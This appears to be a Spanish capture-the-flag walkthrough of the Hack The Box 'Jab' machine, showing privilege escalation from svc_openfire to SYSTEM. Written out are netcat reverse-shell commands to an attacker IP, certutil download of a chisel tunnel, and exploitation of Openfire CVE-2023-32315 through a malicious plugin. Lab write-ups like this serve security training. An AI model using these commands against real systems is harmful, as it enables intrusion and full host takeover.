❯ python3 /usr/share/doc/python3-impacket/examples/dcomexec.py -object 'MMC20' jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'C:\Windows\System32\cmd.exe /c C:\Users\svc_openfire\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe' -silentcommand
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
Y obtengo una shell como el usuario svc_openfire
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.4] 49546
Microsoft Windows [Version 10.0.17763.5458]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\windows\system32>whoami
whoami
jab\svc_openfire
donde podemos leer la flag de usuario en el Desktop de svc_openfire
.
NT Authority/System - Administrator Link to heading
Reviso los procesos corriendo en la máquina:
C:\windows\system32>powershell.exe -command ps
powershell.exe -command ps
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
111 9 14576 9408 1.78 208 0 chis
108 9 14972 10588 4.78 4932 0 chis
105 9 14500 9220 1.91 5028 0 chis
90 5 2436 4116 0.06 572 0 cmd
<SNIP>
103 7 1328 5092 2768 0 openfire-service
1231 103 640616 583748 2956 0 openfire-service
<SNIP>
donde puedo ver el servicio openfire-service
. Esto llama mi atención ya que tiene un nombre similar al usuario que hemos comprometido (svc_openfire
).
Buscando por what is openfire windows
resulta en:
Openfire
is a real time collaboration (RTC) server licensed under the Open Source Apache License. It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber). Openfire
is incredibly easy to setup and administer, but offers rock-solid security and performance.Básicamente, Openfire
es una herramienta que administra el servicio XMPP
(Jabber
) que se encuentra expuesto.
Si buscamos por openfire running port windows
encontramos esta página, la cual dice que la consola web de administración de Openfire
corre en el puerto 9090
. Reviso si este puerto se encuentra abierto internamente en la máquina víctima:
C:\windows\system32>netstat -ano | findstr "9090"
netstat -ano | findstr "9090"
TCP 10.10.11.4:9090 0.0.0.0:0 LISTENING 5028
TCP 127.0.0.1:9090 0.0.0.0:0 LISTENING 2956
y está abierto.
Noto, además, que el Id
es el mismo para ambos outputs (cuando chequeamos previamente los procesos corriendo y ahora viendo los puertos abiertos), el cual es 2956
, de manera que debería de ser el servicio Openfire
corriendo.
Para acceder a este puerto interno necesitamos performar un Remote Port Forwarding
para ganar acceso al puerto 9090
de la máquina víctima. Para ello subo un binario de Chisel
para Windows
(el cual puede ser descargado desde su repositorio de Github). Para esto obtengo otra reverse shell en otra terminal ya que ésta la usaré para crear el tunel entre la máquina víctima y mi máquina de atacante. De manera similar a como pasamos el binario de netcat
, pasamos el binario de Chisel
:
C:\windows\system32>certutil -urlcache -split -f http://10.10.16.2:8080/chisel_1.9.1_windows_amd64 C:\Users\svc_openfire\Downloads\chisel.exe
certutil -urlcache -split -f http://10.10.16.2:8080/chisel_1.9.1_windows_amd64 C:\Users\svc_openfire\Downloads\chisel.exe
**** Online ****
000000 ...
896c00
CertUtil: -URLCache command completed successfully.
Ahora en mi máquina de atacante corro:
❯ chisel server -p 9090 --reverse
y en la máquina víctima corro:
C:\windows\system32>C:\Users\svc_openfire\Downloads\chisel.exe client 10.10.16.2:4444 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091
C:\Users\svc_openfire\Downloads\chisel.exe client 10.10.16.2:4444 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091
2024/05/22 20:32:43 client: Connecting to ws://10.10.16.2:4444
2024/05/22 20:32:46 client: Connected (Latency 149.2555ms)
Ahora podemos visitar http://localhost:9090
en un browser de internet, en mi caso Firefox
, el cual ahora nos muestra un panel de login:
donde claramente puedo ver una versión: 4.7.5
Buscando por openfire 4.7.5 exploit
nos lleva a este repositorio explicando la vulnerabilidad catalogada como CVE-2023-32315. Usando las credenciales del usuario svc_openfire
en este panel funcionan. Ya dentro del panel podemos ver:
Encuentro este repositorio de Github el cual provee un PoC. El script en sí no funciona muy bien, ya que si lo corremos tenemos:
❯ python3 CVE-2023-32315.py -t http://127.0.0.1:9090
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚═══██╗██╔═══╝ ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██████╔╝███████╗██████╔╝ ██║███████║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
[..] Checking target: http://127.0.0.1:9090
Successfully retrieved JSESSIONID: node015mg9if63aa1a1oscnpw2rtc5s9.node0 + csrf: BDkzS3983tDJVLi
User added successfully: url: http://127.0.0.1:9090 username: duqu7y password: 1ulp8a
pero esto no es correcto del todo. El usuario y contraseña creadas no funcionan (de manera que asumo que no ha funcionado del todo).
Luego de leer el repositorio, noto que la parte importante del exploit ese encuentra en el archivo .jar
. Si bien el exploit falló en crear un usuario, esto no importa ya que tenemos previamente un usuario con credenciales válidas. Para subir este archivo .jar
es que vamos a la pestaña de Plugins
, y subimos el archivo/plugin que venía incluído en el repositorio (el archivo .jar
). Luego de subirlo tenemos algo como:
donde puedo ver la descripción pass 123
tal cual explica el repositorio usado.
Luego vamos a Server-> Server Settings -> Management Tool
, ponemos la contraseña 123
y deberíamos tener acceso a un nuevo panel. En la esquina superior derecha, cambiamos la opción Program home page
a system command
. Si ejecutamos el comando whoami
, podemos ver que somos el usuario nt authority/system
:
.jar
malicioso.Reusando el binario de netcat
que hemos subido previamente (y luego de empezar otro listner con netcat
en el puerto 443
), corremos dentro de Openfire
el comando:
C:\Windows\System32\cmd.exe /c C:\Users\svc_openfire\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe
y obtengo una shell como nt authority/system
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.4] 64006
Microsoft Windows [Version 10.0.17763.5458]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files\Openfire\bin>whoami
whoami
nt authority\system
Donde podemos obtener la flag final en el Desktop del usuario Administrator
.
~Happy Hacking